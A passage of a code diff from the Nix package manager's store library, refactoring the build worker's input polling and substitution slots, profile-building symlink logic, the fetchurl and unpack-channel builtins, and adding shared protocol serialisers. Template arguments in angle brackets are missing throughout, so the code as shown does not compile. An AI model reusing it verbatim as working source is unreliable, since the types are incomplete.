@@ -204,8 +260,10 @@ void Worker::childTerminated(Goal * goal, bool wakeSleepers) void Worker::waitForBuildSlot(GoalPtr goal) { - debug("wait for build slot"); - if (getNrLocalBuilds() < settings.maxBuildJobs) + goal->trace("wait for build slot"); + bool isSubstitutionGoal = goal->jobCategory() == JobCategory::Substitution; + if ((!isSubstitutionGoal && getNrLocalBuilds() < settings.maxBuildJobs) || + (isSubstitutionGoal && getNrSubstitutions() < settings.maxSubstitutionJobs)) wakeUp(goal); /* we can do it right away */ else addToWeakGoals(wantingToBuild, goal); @@ -233,8 +291,12 @@ void Worker::run(const Goals & _topGoals) for (auto & i : _topGoals) { topGoals.insert(i); if (auto goal = dynamic_cast(i.get())) { - topPaths.push_back(DerivedPath::Built{goal->drvPath, goal->wantedOutputs}); - } else if (auto goal = dynamic_cast(i.get())) { + topPaths.push_back(DerivedPath::Built { + .drvPath = makeConstantStorePathRef(goal->drvPath), + .outputs = goal->wantedOutputs, + }); + } else + if (auto goal = dynamic_cast(i.get())) { topPaths.push_back(DerivedPath::Opaque{goal->storePath}); } } @@ -275,21 +337,27 @@ void Worker::run(const Goals & _topGoals) /* Wait for input. */ if (!children.empty() || !waitingForAWhile.empty()) waitForInput(); - else { - if (awake.empty() && 0 == settings.maxBuildJobs) - { - if (getMachines().empty()) - throw Error("unable to start any build; either increase '--max-jobs' " - "or enable remote builds." - "\nhttps://nixos.org/manual/nix/stable/advanced-topics/distributed-builds.html"); - else - throw Error("unable to start any build; remote machines may not have " - "all required system features." - "\nhttps://nixos.org/manual/nix/stable/advanced-topics/distributed-builds.html"); + else if (awake.empty() && 0U == settings.maxBuildJobs) { + if (getMachines().empty()) + throw Error( + R"( + Unable to start any build; + either increase '--max-jobs' or enable remote builds. - } - assert(!awake.empty()); - } + For more information run 'man nix.conf' and search for '/machines'. + )" + ); + else + throw Error( + R"( + Unable to start any build; + remote machines may not have all required system features. + + For more information run 'man nix.conf' and search for '/machines'. + )" + ); + + } else assert(!awake.empty()); } /* If --keep-going is not set, it's possible that the main goal @@ -346,23 +414,25 @@ void Worker::waitForInput() if (useTimeout) vomit("sleeping %d seconds", timeout); + MuxablePipePollState state; + +#ifndef _WIN32 /* Use select() to wait for the input side of any logger pipe to become `available'. Note that `available' (i.e., non-blocking) includes EOF. */ - std::vector pollStatus; - std::map fdToPollStatus; for (auto & i : children) { - for (auto & j : i.fds) { - pollStatus.push_back((struct pollfd) { .fd = j, .events = POLLIN }); - fdToPollStatus[j] = pollStatus.size() - 1; + for (auto & j : i.channels) { + state.pollStatus.push_back((struct pollfd) { .fd = j, .events = POLLIN }); + state.fdToPollStatus[j] = state.pollStatus.size() - 1; } } +#endif - if (poll(pollStatus.data(), pollStatus.size(), - useTimeout ? timeout * 1000 : -1) == -1) { - if (errno == EINTR) return; - throw SysError("waiting for input"); - } + state.poll( +#ifdef _WIN32 + ioport.get(), +#endif + useTimeout ? (std::optional { timeout * 1000 }) : std::nullopt); auto after = steady_time_point::clock::now(); @@ -377,32 +447,18 @@ void Worker::waitForInput() GoalPtr goal = j->goal.lock(); assert(goal); - std::set fds2(j->fds); - std::vector buffer(4096); - for (auto & k : fds2) { - const auto fdPollStatusId = get(fdToPollStatus, k); - assert(fdPollStatusId); - assert(*fdPollStatusId < pollStatus.size()); - if (pollStatus.at(*fdPollStatusId).revents) { - ssize_t rd = ::read(k, buffer.data(), buffer.size()); - // FIXME: is there a cleaner way to handle pt close - // than EIO? Is this even standard? - if (rd == 0 || (rd == -1 && errno == EIO)) { - debug("%1%: got EOF", goal->getName()); - goal->handleEOF(k); - j->fds.erase(k); - } else if (rd == -1) { - if (errno != EINTR) - throw SysError("%s: read failed", goal->getName()); - } else { - printMsg(lvlVomit, "%1%: read %2% bytes", - goal->getName(), rd); - std::string data((char *) buffer.data(), rd); - j->lastOutput = after; - goal->handleChildOutput(k, data); - } - } - } + state.iterate( + j->channels, + [&](Descriptor k, std::string_view data) { + printMsg(lvlVomit, "%1%: read %2% bytes", + goal->getName(), data.size()); + j->lastOutput = after; + goal->handleChildOutput(k, data); + }, + [&](Descriptor k) { + debug("%1%: got EOF", goal->getName()); + goal->handleEOF(k); + }); if (goal->exitCode == Goal::ecBusy && 0 != settings.maxSilentTime && @@ -436,16 +492,9 @@ void Worker::waitForInput() } -unsigned int Worker::exitStatus() +unsigned int Worker::failingExitStatus() { - /* - * 1100100 - * ^^^^ - * |||`- timeout - * ||`-- output hash mismatch - * |`--- build failure - * `---- not deterministic - */ + // See API docs in header for explanation unsigned int mask = 0; bool buildFailure = permanentFailure || timedOut || hashMismatch; if (buildFailure) @@ -474,9 +523,11 @@ bool Worker::pathContentsGood(const StorePath & path) if (!pathExists(store.printStorePath(path))) res = false; else { - HashResult current = hashPath(info->narHash.type, store.printStorePath(path)); - Hash nullHash(htSHA256); - res = info->narHash == nullHash || info->narHash == current.first; + auto current = hashPath( + {store.getFSAccessor(), CanonPath(store.printStorePath(path))}, + FileIngestionMethod::NixArchive, info->narHash.algo).first; + Hash nullHash(HashAlgorithm::SHA256); + res = info->narHash == nullHash || info->narHash == current; } pathContentsGoodCache.insert_or_assign(path, res); if (!res) @@ -491,10 +542,13 @@ void Worker::markContentsGood(const StorePath & path) } -GoalPtr upcast_goal(std::shared_ptr subGoal) { +GoalPtr upcast_goal(std::shared_ptr subGoal) +{ return subGoal; } -GoalPtr upcast_goal(std::shared_ptr subGoal) { + +GoalPtr upcast_goal(std::shared_ptr subGoal) +{ return subGoal; } diff --git a/src/libstore/build/worker.hh b/src/libstore/build/worker.hh index a1e036a96..33a7bf015 100644 --- a/src/libstore/build/worker.hh +++ b/src/libstore/build/worker.hh @@ -1,10 +1,11 @@ #pragma once +///@file #include "types.hh" -#include "lock.hh" #include "store-api.hh" #include "goal.hh" #include "realisation.hh" +#include "muxable-pipe.hh" #include #include @@ -16,39 +17,50 @@ struct DerivationGoal; struct PathSubstitutionGoal; class DrvOutputSubstitutionGoal; -/* Workaround for not being able to declare a something like - - class PathSubstitutionGoal : public Goal; - - even when Goal is a complete type. - - This is still a static cast. The purpose of exporting it is to define it in - a place where `PathSubstitutionGoal` is concrete, and use it in a place where it - is opaque. */ +/** + * Workaround for not being able to declare a something like + * + * ```c++ + * class PathSubstitutionGoal : public Goal; + * ``` + * even when Goal is a complete type. + * + * This is still a static cast. The purpose of exporting it is to define it in + * a place where `PathSubstitutionGoal` is concrete, and use it in a place where it + * is opaque. + */ GoalPtr upcast_goal(std::shared_ptr subGoal); GoalPtr upcast_goal(std::shared_ptr subGoal); typedef std::chrono::time_point steady_time_point; - -/* A mapping used to remember for each child process to what goal it - belongs, and file descriptors for receiving log data and output - path creation commands. */ +/** + * A mapping used to remember for each child process to what goal it + * belongs, and comm channels for receiving log data and output + * path creation commands. + */ struct Child { WeakGoalPtr goal; Goal * goal2; // ugly hackery - std::set fds; + std::set channels; bool respectTimeouts; bool inBuildSlot; - steady_time_point lastOutput; /* time we last got output on stdout/stderr */ + /** + * Time we last got output on stdout/stderr + */ + steady_time_point lastOutput; steady_time_point timeStarted; }; +#ifndef _WIN32 // TODO Enable building on Windows /* Forward definition. */ struct HookInstance; +#endif -/* The worker class. */ +/** + * Coordinates one or more realisations and their interdependencies. + */ class Worker { private: @@ -56,38 +68,63 @@ private: /* Note: the worker should only have strong pointers to the top-level goals. */ - /* The top-level goals of the worker. */ + /** + * The top-level goals of the worker. + */ Goals topGoals; - /* Goals that are ready to do some work. */ + /** + * Goals that are ready to do some work. + */ WeakGoals awake; - /* Goals waiting for a build slot. */ + /** + * Goals waiting for a build slot. + */ WeakGoals wantingToBuild; - /* Child processes currently running. */ + /** + * Child processes currently running. + */ std::list children; - /* Number of build slots occupied. This includes local builds and - substitutions but not remote builds via the build hook. */ + /** + * Number of build slots occupied. This includes local builds but does not + * include substitutions or remote builds via the build hook. + */ unsigned int nrLocalBuilds; - /* Maps used to prevent multiple instantiations of a goal for the - same derivation / path. */ + /** + * Number of substitution slots occupied. + */ + unsigned int nrSubstitutions; + + /** + * Maps used to prevent multiple instantiations of a goal for the + * same derivation / path. + */ std::map> derivationGoals; std::map> substitutionGoals; std::map> drvOutputSubstitutionGoals; - /* Goals waiting for busy paths to be unlocked. */ + /** + * Goals waiting for busy paths to be unlocked. + */ WeakGoals waitingForAnyGoal; - /* Goals sleeping for a few seconds (polling a lock). */ + /** + * Goals sleeping for a few seconds (polling a lock). + */ WeakGoals waitingForAWhile; - /* Last time the goals in `waitingForAWhile' where woken up. */ + /** + * Last time the goals in `waitingForAWhile` were woken up. + */ steady_time_point lastWokenUp; - /* Cache for pathContentsGood(). */ + /** + * Cache for pathContentsGood(). + */ std::map pathContentsGoodCache; public: @@ -96,23 +133,37 @@ public: const Activity actDerivations; const Activity actSubstitutions; - /* Set if at least one derivation had a BuildError (i.e. permanent - failure). */ + /** + * Set if at least one derivation had a BuildError (i.e. permanent + * failure). + */ bool permanentFailure; - /* Set if at least one derivation had a timeout. */ + /** + * Set if at least one derivation had a timeout. + */ bool timedOut; - /* Set if at least one derivation fails with a hash mismatch. */ + /** + * Set if at least one derivation fails with a hash mismatch. + */ bool hashMismatch; - /* Set if at least one derivation is not deterministic in check mode. */ + /** + * Set if at least one derivation is not deterministic in check mode. + */ bool checkMismatch; +#ifdef _WIN32 + AutoCloseFD ioport; +#endif + Store & store; Store & evalStore; +#ifndef _WIN32 // TODO Enable building on Windows std::unique_ptr hook; +#endif uint64_t expectedBuilds = 0; uint64_t doneBuilds = 0; @@ -128,78 +179,141 @@ public: uint64_t expectedNarSize = 0; uint64_t doneNarSize = 0; - /* Whether to ask the build hook if it can build a derivation. If - it answers with "decline-permanently", we don't try again. */ + /** + * Whether to ask the build hook if it can build a derivation. If + * it answers with "decline-permanently", we don't try again. + */ bool tryBuildHook = true; Worker(Store & store, Store & evalStore); ~Worker(); - /* Make a goal (with caching). */ + /** + * Make a goal (with caching). + */ - /* derivation goal */ + /** + * @ref DerivationGoal "derivation goal" + */ private: std::shared_ptr makeDerivationGoalCommon( - const StorePath & drvPath, const StringSet & wantedOutputs, + const StorePath & drvPath, const OutputsSpec & wantedOutputs, std::function()> mkDrvGoal); public: std::shared_ptr makeDerivationGoal( const StorePath & drvPath, - const StringSet & wantedOutputs, BuildMode buildMode = bmNormal); + const OutputsSpec & wantedOutputs, BuildMode buildMode = bmNormal); std::shared_ptr makeBasicDerivationGoal( const StorePath & drvPath, const BasicDerivation & drv, - const StringSet & wantedOutputs, BuildMode buildMode = bmNormal); + const OutputsSpec & wantedOutputs, BuildMode buildMode = bmNormal); - /* substitution goal */ + /** + * @ref SubstitutionGoal "substitution goal" + */ std::shared_ptr makePathSubstitutionGoal(const StorePath & storePath, RepairFlag repair = NoRepair, std::optional ca = std::nullopt); std::shared_ptr makeDrvOutputSubstitutionGoal(const DrvOutput & id, RepairFlag repair = NoRepair, std::optional ca = std::nullopt); - /* Remove a dead goal. */ + /** + * Make a goal corresponding to the `DerivedPath`. + * + * It will be a `DerivationGoal` for a `DerivedPath::Built` or + * a `SubstitutionGoal` for a `DerivedPath::Opaque`. + */ + GoalPtr makeGoal(const DerivedPath & req, BuildMode buildMode = bmNormal); + + /** + * Remove a dead goal. + */ void removeGoal(GoalPtr goal); - /* Wake up a goal (i.e., there is something for it to do). */ + /** + * Wake up a goal (i.e., there is something for it to do). + */ void wakeUp(GoalPtr goal); - /* Return the number of local build and substitution processes - currently running (but not remote builds via the build - hook). */ + /** + * Return the number of local build processes currently running (but not + * remote builds via the build hook). + */ unsigned int getNrLocalBuilds(); - /* Registers a running child process. `inBuildSlot' means that - the process counts towards the jobs limit. */ - void childStarted(GoalPtr goal, const std::set & fds, + /** + * Return the number of substitution processes currently running. + */ + unsigned int getNrSubstitutions(); + + /** + * Registers a running child process. `inBuildSlot` means that + * the process counts towards the jobs limit. + */ + void childStarted(GoalPtr goal, const std::set & channels, bool inBuildSlot, bool respectTimeouts); - /* Unregisters a running child process. `wakeSleepers' should be - false if there is no sense in waking up goals that are sleeping - because they can't run yet (e.g., there is no free build slot, - or the hook would still say `postpone'). */ + /** + * Unregisters a running child process. `wakeSleepers` should be + * false if there is no sense in waking up goals that are sleeping + * because they can't run yet (e.g., there is no free build slot, + * or the hook would still say `postpone`). + */ void childTerminated(Goal * goal, bool wakeSleepers = true); - /* Put `goal' to sleep until a build slot becomes available (which - might be right away). */ + /** + * Put `goal` to sleep until a build slot becomes available (which + * might be right away). + */ void waitForBuildSlot(GoalPtr goal); - /* Wait for any goal to finish. Pretty indiscriminate way to - wait for some resource that some other goal is holding. */ + /** + * Wait for any goal to finish. Pretty indiscriminate way to + * wait for some resource that some other goal is holding. + */ void waitForAnyGoal(GoalPtr goal); - /* Wait for a few seconds and then retry this goal. Used when - waiting for a lock held by another process. This kind of - polling is inefficient, but POSIX doesn't really provide a way - to wait for multiple locks in the main select() loop. */ + /** + * Wait for a few seconds and then retry this goal. Used when + * waiting for a lock held by another process. This kind of + * polling is inefficient, but POSIX doesn't really provide a way + * to wait for multiple locks in the main select() loop. + */ void waitForAWhile(GoalPtr goal); - /* Loop until the specified top-level goals have finished. */ + /** + * Loop until the specified top-level goals have finished. + */ void run(const Goals & topGoals); - /* Wait for input to become available. */ + /** + * Wait for input to become available. + */ void waitForInput(); - unsigned int exitStatus(); + /*** + * The exit status in case of failure. + * + * In the case of a build failure, returned value follows this + * bitmask: + * + * ``` + * 0b1100100 + * ^^^^ + * |||`- timeout + * ||`-- output hash mismatch + * |`--- build failure + * `---- not deterministic + * ``` + * + * In other words, the failure code is at least 100 (0b1100100), but + * might also be greater. + * + * Otherwise (no build failure, but some other sort of failure by + * assumption), this returned value is 1. + */ + unsigned int failingExitStatus(); - /* Check whether the given valid path exists and has the right - contents. */ + /** + * Check whether the given valid path exists and has the right + * contents. + */ bool pathContentsGood(const StorePath & path); void markContentsGood(const StorePath & path); diff --git a/src/libstore/builtins.hh b/src/libstore/builtins.hh index 66597e456..93558b49e 100644 --- a/src/libstore/builtins.hh +++ b/src/libstore/builtins.hh @@ -1,11 +1,18 @@ #pragma once +///@file #include "derivations.hh" namespace nix { // TODO: make pluggable. -void builtinFetchurl(const BasicDerivation & drv, const std::string & netrcData); -void builtinUnpackChannel(const BasicDerivation & drv); +void builtinFetchurl( + const BasicDerivation & drv, + const std::map & outputs, + const std::string & netrcData); + +void builtinUnpackChannel( + const BasicDerivation & drv, + const std::map & outputs); } diff --git a/src/libstore/builtins/buildenv.cc b/src/libstore/builtins/buildenv.cc index 47458a388..0f7bcd99b 100644 --- a/src/libstore/builtins/buildenv.cc +++ b/src/libstore/builtins/buildenv.cc @@ -1,4 +1,6 @@ #include "buildenv.hh" +#include "derivations.hh" +#include "signals.hh" #include #include @@ -16,12 +18,12 @@ struct State /* For each activated package, create symlinks */ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, int priority) { - DirEntries srcFiles; + std::filesystem::directory_iterator srcFiles; try { - srcFiles = readDirectory(srcDir); - } catch (SysError & e) { - if (e.errNo == ENOTDIR) { + srcFiles = std::filesystem::directory_iterator{srcDir}; + } catch (std::filesystem::filesystem_error & e) { + if (e.code() == std::errc::not_a_directory) { warn("not including '%s' in the user environment because it's not a directory", srcDir); return; } @@ -29,11 +31,13 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, } for (const auto & ent : srcFiles) { - if (ent.name[0] == '.') + checkInterrupt(); + auto name = ent.path().filename(); + if (name.string()[0] == '.') /* not matched by glob */ continue; - auto srcFile = srcDir + "/" + ent.name; - auto dstFile = dstDir + "/" + ent.name; + auto srcFile = (std::filesystem::path{srcDir} / name).string(); + auto dstFile = (std::filesystem::path{dstDir} / name).string(); struct stat srcSt; try { @@ -63,9 +67,9 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, continue; else if (S_ISDIR(srcSt.st_mode)) { - struct stat dstSt; - auto res = lstat(dstFile.c_str(), &dstSt); - if (res == 0) { + auto dstStOpt = maybeLstat(dstFile.c_str()); + if (dstStOpt) { + auto & dstSt = *dstStOpt; if (S_ISDIR(dstSt.st_mode)) { createLinks(state, srcFile, dstFile, priority); continue; @@ -75,38 +79,38 @@ static void createLinks(State & state, const Path & srcDir, const Path & dstDir, throw Error("collision between '%1%' and non-directory '%2%'", srcFile, target); if (unlink(dstFile.c_str()) == -1) throw SysError("unlinking '%1%'", dstFile); - if (mkdir(dstFile.c_str(), 0755) == -1) + if (mkdir(dstFile.c_str() + #ifndef _WIN32 // TODO abstract mkdir perms for Windows + , 0755 + #endif + ) == -1) throw SysError("creating directory '%1%'", dstFile); createLinks(state, target, dstFile, state.priorities[dstFile]); createLinks(state, srcFile, dstFile, priority); continue; } - } else if (errno != ENOENT) - throw SysError("getting status of '%1%'", dstFile); + } } else { - struct stat dstSt; - auto res = lstat(dstFile.c_str(), &dstSt); - if (res == 0) { + auto dstStOpt = maybeLstat(dstFile.c_str()); + if (dstStOpt) { + auto & dstSt = *dstStOpt; if (S_ISLNK(dstSt.st_mode)) { auto prevPriority = state.priorities[dstFile]; if (prevPriority == priority) - throw Error( - "files '%1%' and '%2%' have the same priority %3%; " - "use 'nix-env --set-flag priority NUMBER INSTALLED_PKGNAME' " - "or type 'nix profile install --help' if using 'nix profile' to find out how" - "to change the priority of one of the conflicting packages" - " (0 being the highest priority)", - srcFile, readLink(dstFile), priority); + throw BuildEnvFileConflictError( + readLink(dstFile), + srcFile, + priority + ); if (prevPriority < priority) continue; if (unlink(dstFile.c_str()) == -1) throw SysError("unlinking '%1%'", dstFile); } else if (S_ISDIR(dstSt.st_mode)) throw Error("collision between non-directory '%1%' and directory '%2%'", srcFile, dstFile); - } else if (errno != ENOENT) - throw SysError("getting status of '%1%'", dstFile); + } } createSymlink(srcFile, dstFile); @@ -162,7 +166,9 @@ void buildProfile(const Path & out, Packages && pkgs) debug("created %d symlinks in user environment", state.symlinks); } -void builtinBuildenv(const BasicDerivation & drv) +void builtinBuildenv( + const BasicDerivation & drv, + const std::map & outputs) { auto getAttr = [&](const std::string & name) { auto i = drv.env.find(name); @@ -170,21 +176,25 @@ void builtinBuildenv(const BasicDerivation & drv) return i->second; }; - Path out = getAttr("out"); + auto out = outputs.at("out"); createDirs(out); /* Convert the stuff we get from the environment back into a * coherent data type. */ Packages pkgs; - auto derivations = tokenizeString(getAttr("derivations")); - while (!derivations.empty()) { - /* !!! We're trusting the caller to structure derivations env var correctly */ - auto active = derivations.front(); derivations.pop_front(); - auto priority = stoi(derivations.front()); derivations.pop_front(); - auto outputs = stoi(derivations.front()); derivations.pop_front(); - for (auto n = 0; n < outputs; n++) { - auto path = derivations.front(); derivations.pop_front(); - pkgs.emplace_back(path, active != "false", priority); + { + auto derivations = tokenizeString(getAttr("derivations")); + + auto itemIt = derivations.begin(); + while (itemIt != derivations.end()) { + /* !!! We're trusting the caller to structure derivations env var correctly */ + const bool active = "false" != *itemIt++; + const int priority = stoi(*itemIt++); + const size_t outputs = stoul(*itemIt++); + + for (size_t n {0}; n < outputs; n++) { + pkgs.emplace_back(std::move(*itemIt++), active, priority); + } } } diff --git a/src/libstore/builtins/buildenv.hh b/src/libstore/builtins/buildenv.hh index 73c0f5f7f..8e112e176 100644 --- a/src/libstore/builtins/buildenv.hh +++ b/src/libstore/builtins/buildenv.hh @@ -1,10 +1,13 @@ #pragma once +///@file -#include "derivations.hh" #include "store-api.hh" namespace nix { +/** + * Think of this as a "store level package attrset", but stripped down to no more than the needs of buildenv. + */ struct Package { Path path; bool active; @@ -12,10 +15,38 @@ struct Package { Package(const Path & path, bool active, int priority) : path{path}, active{active}, priority{priority} {} }; +class BuildEnvFileConflictError : public Error +{ +public: + const Path fileA; + const Path fileB; + int priority; + + BuildEnvFileConflictError( + const Path fileA, + const Path fileB, + int priority + ) + : Error( + "Unable to build profile. There is a conflict for the following files:\n" + "\n" + " %1%\n" + " %2%", + fileA, + fileB + ) + , fileA(fileA) + , fileB(fileB) + , priority(priority) + {} +}; + typedef std::vector Packages; void buildProfile(const Path & out, Packages && pkgs); -void builtinBuildenv(const BasicDerivation & drv); +void builtinBuildenv( + const BasicDerivation & drv, + const std::map & outputs); } diff --git a/src/libstore/builtins/fetchurl.cc b/src/libstore/builtins/fetchurl.cc index 7d7924d77..b9dfeba2f 100644 --- a/src/libstore/builtins/fetchurl.cc +++ b/src/libstore/builtins/fetchurl.cc @@ -6,7 +6,10 @@ namespace nix { -void builtinFetchurl(const BasicDerivation & drv, const std::string & netrcData) +void builtinFetchurl( + const BasicDerivation & drv, + const std::map & outputs, + const std::string & netrcData) { /* Make the host's netrc data available. Too bad curl requires this to be stored in a file. It would be nice if we could just @@ -16,14 +19,15 @@ void builtinFetchurl(const BasicDerivation & drv, const std::string & netrcData) writeFile(settings.netrcFile, netrcData, 0600); } - auto getAttr = [&](const std::string & name) { - auto i = drv.env.find(name); - if (i == drv.env.end()) throw Error("attribute '%s' missing", name); - return i->second; - }; + auto out = get(drv.outputs, "out"); + if (!out) + throw Error("'builtin:fetchurl' requires an 'out' output"); - Path storePath = getAttr("out"); - auto mainUrl = getAttr("url"); + if (!(drv.type().isFixed() || drv.type().isImpure())) + throw Error("'builtin:fetchurl' must be a fixed-output or impure derivation"); + + auto storePath = outputs.at("out"); + auto mainUrl = drv.env.at("url"); bool unpack = getOr(drv.env, "unpack", "") == "1"; /* Note: have to use a fresh fileTransfer here because we're in @@ -59,13 +63,12 @@ void builtinFetchurl(const BasicDerivation & drv, const std::string & netrcData) }; /* Try the hashed mirrors first. */ - if (getAttr("outputHashMode") == "flat") + auto dof = std::get_if(&out->raw); + if (dof && dof->ca.method.getFileIngestionMethod() == FileIngestionMethod::Flat) for (auto hashedMirror : settings.hashedMirrors.get()) try { if (!hasSuffix(hashedMirror, "/")) hashedMirror += '/'; - std::optional ht = parseHashTypeOpt(getAttr("outputHashAlgo")); - Hash h = newHashAllowEmpty(getAttr("outputHash"), ht); - fetch(hashedMirror + printHashType(h.type) + "/" + h.to_string(Base16, false)); + fetch(hashedMirror + printHashAlgo(dof->ca.hash.algo) + "/" + dof->ca.hash.to_string(HashFormat::Base16, false)); return; } catch (Error & e) { debug(e.what()); diff --git a/src/libstore/builtins/unpack-channel.cc b/src/libstore/builtins/unpack-channel.cc index ba04bb16c..a5f2b8e3a 100644 --- a/src/libstore/builtins/unpack-channel.cc +++ b/src/libstore/builtins/unpack-channel.cc @@ -3,7 +3,9 @@ namespace nix { -void builtinUnpackChannel(const BasicDerivation & drv) +void builtinUnpackChannel( + const BasicDerivation & drv, + const std::map & outputs) { auto getAttr = [&](const std::string & name) { auto i = drv.env.find(name); @@ -11,7 +13,7 @@ void builtinUnpackChannel(const BasicDerivation & drv) return i->second; }; - Path out = getAttr("out"); + auto out = outputs.at("out"); auto channelName = getAttr("channelName"); auto src = getAttr("src"); @@ -19,10 +21,13 @@ void builtinUnpackChannel(const BasicDerivation & drv) unpackTarfile(src, out); - auto entries = readDirectory(out); - if (entries.size() != 1) + auto entries = std::filesystem::directory_iterator{out}; + auto fileName = entries->path().string(); + auto fileCount = std::distance(std::filesystem::begin(entries), std::filesystem::end(entries)); + + if (fileCount != 1) throw Error("channel tarball '%s' contains more than one file", src); - renameFile((out + "/" + entries[0].name), (out + "/" + channelName)); + std::filesystem::rename(fileName, (out + "/" + channelName)); } } diff --git a/src/libstore/common-protocol-impl.hh b/src/libstore/common-protocol-impl.hh new file mode 100644 index 000000000..360882c02 --- /dev/null +++ b/src/libstore/common-protocol-impl.hh @@ -0,0 +1,41 @@ +#pragma once +/** + * @file + * + * Template implementations (as opposed to mere declarations). + * + * This file is an exmample of the "impl.hh" pattern. See the + * contributing guide. + */ + +#include "common-protocol.hh" +#include "length-prefixed-protocol-helper.hh" + +namespace nix { + +/* protocol-agnostic templates */ + +#define COMMON_USE_LENGTH_PREFIX_SERIALISER(TEMPLATE, T) \ + TEMPLATE T CommonProto::Serialise< T >::read(const StoreDirConfig & store, CommonProto::ReadConn conn) \ + { \ + return LengthPrefixedProtoHelper::read(store, conn); \ + } \ + TEMPLATE void CommonProto::Serialise< T >::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const T & t) \ + { \ + LengthPrefixedProtoHelper::write(store, conn, t); \ + } + +COMMON_USE_LENGTH_PREFIX_SERIALISER(template, std::vector) +COMMON_USE_LENGTH_PREFIX_SERIALISER(template, std::set) +COMMON_USE_LENGTH_PREFIX_SERIALISER(template, std::tuple) + +#define COMMA_ , +COMMON_USE_LENGTH_PREFIX_SERIALISER( + template, + std::map) +#undef COMMA_ + + +/* protocol-specific templates */ + +} diff --git a/src/libstore/common-protocol.cc b/src/libstore/common-protocol.cc new file mode 100644 index 000000000..fc2b5ac6f --- /dev/null +++ b/src/libstore/common-protocol.cc @@ -0,0 +1,97 @@ +#include "serialise.hh" +#include "path-with-outputs.hh" +#include "store-api.hh" +#include "build-result.hh" +#include "common-protocol.hh" +#include "common-protocol-impl.hh" +#include "archive.hh" +#include "derivations.hh" + +#include + +namespace nix { + +/* protocol-agnostic definitions */ + +std::string CommonProto::Serialise::read(const StoreDirConfig & store, CommonProto::ReadConn conn) +{ + return readString(conn.from); +} + +void CommonProto::Serialise::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const std::string & str) +{ + conn.to << str; +} + + +StorePath CommonProto::Serialise::read(const StoreDirConfig & store, CommonProto::ReadConn conn) +{ + return store.parseStorePath(readString(conn.from)); +} + +void CommonProto::Serialise::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const StorePath & storePath) +{ + conn.to << store.printStorePath(storePath); +} + + +ContentAddress CommonProto::Serialise::read(const StoreDirConfig & store, CommonProto::ReadConn conn) +{ + return ContentAddress::parse(readString(conn.from)); +} + +void CommonProto::Serialise::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const ContentAddress & ca) +{ + conn.to << renderContentAddress(ca); +} + + +Realisation CommonProto::Serialise::read(const StoreDirConfig & store, CommonProto::ReadConn conn) +{ + std::string rawInput = readString(conn.from); + return Realisation::fromJSON( + nlohmann::json::parse(rawInput), + "remote-protocol" + ); +} + +void CommonProto::Serialise::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const Realisation & realisation) +{ + conn.to << realisation.toJSON().dump(); +} + + +DrvOutput CommonProto::Serialise::read(const StoreDirConfig & store, CommonProto::ReadConn conn) +{ + return DrvOutput::parse(readString(conn.from)); +} + +void CommonProto::Serialise::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const DrvOutput & drvOutput) +{ + conn.to << drvOutput.to_string(); +} + + +std::optional CommonProto::Serialise>::read(const StoreDirConfig & store, CommonProto::ReadConn conn) +{ + auto s = readString(conn.from); + return s == "" ? std::optional {} : store.parseStorePath(s); +} + +void CommonProto::Serialise>::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const std::optional & storePathOpt) +{ + conn.to << (storePathOpt ? store.printStorePath(*storePathOpt) : ""); +} + + +std::optional CommonProto::Serialise>::read(const StoreDirConfig & store, CommonProto::ReadConn conn) +{ + return ContentAddress::parseOpt(readString(conn.from)); +} + +void CommonProto::Serialise>::write(const StoreDirConfig & store, CommonProto::WriteConn conn, const std::optional & caOpt) +{ + conn.to << (caOpt ? renderContentAddress(*caOpt) : ""); +} + +} diff --git a/src/libstore/common-protocol.hh b/src/libstore/common-protocol.hh new file mode 100644 index 000000000..a878e84c9 --- /dev/null +++ b/src/libstore/common-protocol.hh @@ -0,0 +1,106 @@ +#pragma once +///@file + +#include "serialise.hh" + +namespace nix { + +struct StoreDirConfig; +struct Source; + +// items being serialized +class StorePath; +struct ContentAddress; +struct DrvOutput; +struct Realisation; + + +/** + * Shared serializers between the worker protocol, serve protocol, and a + * few others. + * + * This `struct` is basically just a `namespace`; We use a type rather + * than a namespace just so we can use it as a template argument. + */ +struct CommonProto +{ + /** + * A unidirectional read connection, to be used by the read half of the + * canonical serializers below. + */ + struct ReadConn { + Source & from; + }; + + /** + * A unidirectional write connection, to be used by the write half of the + * canonical serializers below. + */ + struct WriteConn { + Sink & to; + }; + + template + struct Serialise; + + /** + * Wrapper function around `CommonProto::Serialise::write` that allows us to + * infer the type instead of having to write it down explicitly. + */ + template + static void write(const StoreDirConfig & store, WriteConn conn, const T & t) + { + CommonProto::Serialise::write(store, conn, t); + } +}; + +#define DECLARE_COMMON_SERIALISER(T) \ + struct CommonProto::Serialise< T > \ + { \ + static T read(const StoreDirConfig & store, CommonProto::ReadConn conn); \ + static void write(const StoreDirConfig & store, CommonProto::WriteConn conn, const T & str); \ + } + +template<> +DECLARE_COMMON_SERIALISER(std::string); +template<> +DECLARE_COMMON_SERIALISER(StorePath); +template<> +DECLARE_COMMON_SERIALISER(ContentAddress); +template<> +DECLARE_COMMON_SERIALISER(DrvOutput); +template<> +DECLARE_COMMON_SERIALISER(Realisation); + +template +DECLARE_COMMON_SERIALISER(std::vector); +template +DECLARE_COMMON_SERIALISER(std::set); +template +DECLARE_COMMON_SERIALISER(std::tuple); + +#define COMMA_ , +template +DECLARE_COMMON_SERIALISER(std::map); +#undef COMMA_ + +/** + * These use the empty string for the null case, relying on the fact + * that the underlying types never serialize to the empty string. + * + * We do this instead of a generic std::optional instance because + * ordinal tags (0 or 1, here) are a bit of a compatability hazard. For + * the same reason, we don't have a std::variant instances (ordinal + * tags 0...n). + * + * We could the generic instances and then these as specializations for + * compatability, but that's proven a bit finnicky, and also makes the + * worker protocol harder to implement in other languages where such + * specializations may not be allowed. + */ +template<> +DECLARE_COMMON_SERIALISER(std::optional); +template<> +DECLARE_COMMON_SERIALISER(std::optional); + +} diff --git a/src/libstore/common-ssh-store-config.cc b/src/libstore/common-ssh-store-config.cc new file mode 100644 index 000000000..05332b9bb --- /dev/null +++ b/src/libstore/common-ssh-store-config.cc @@ -0,0 +1,43 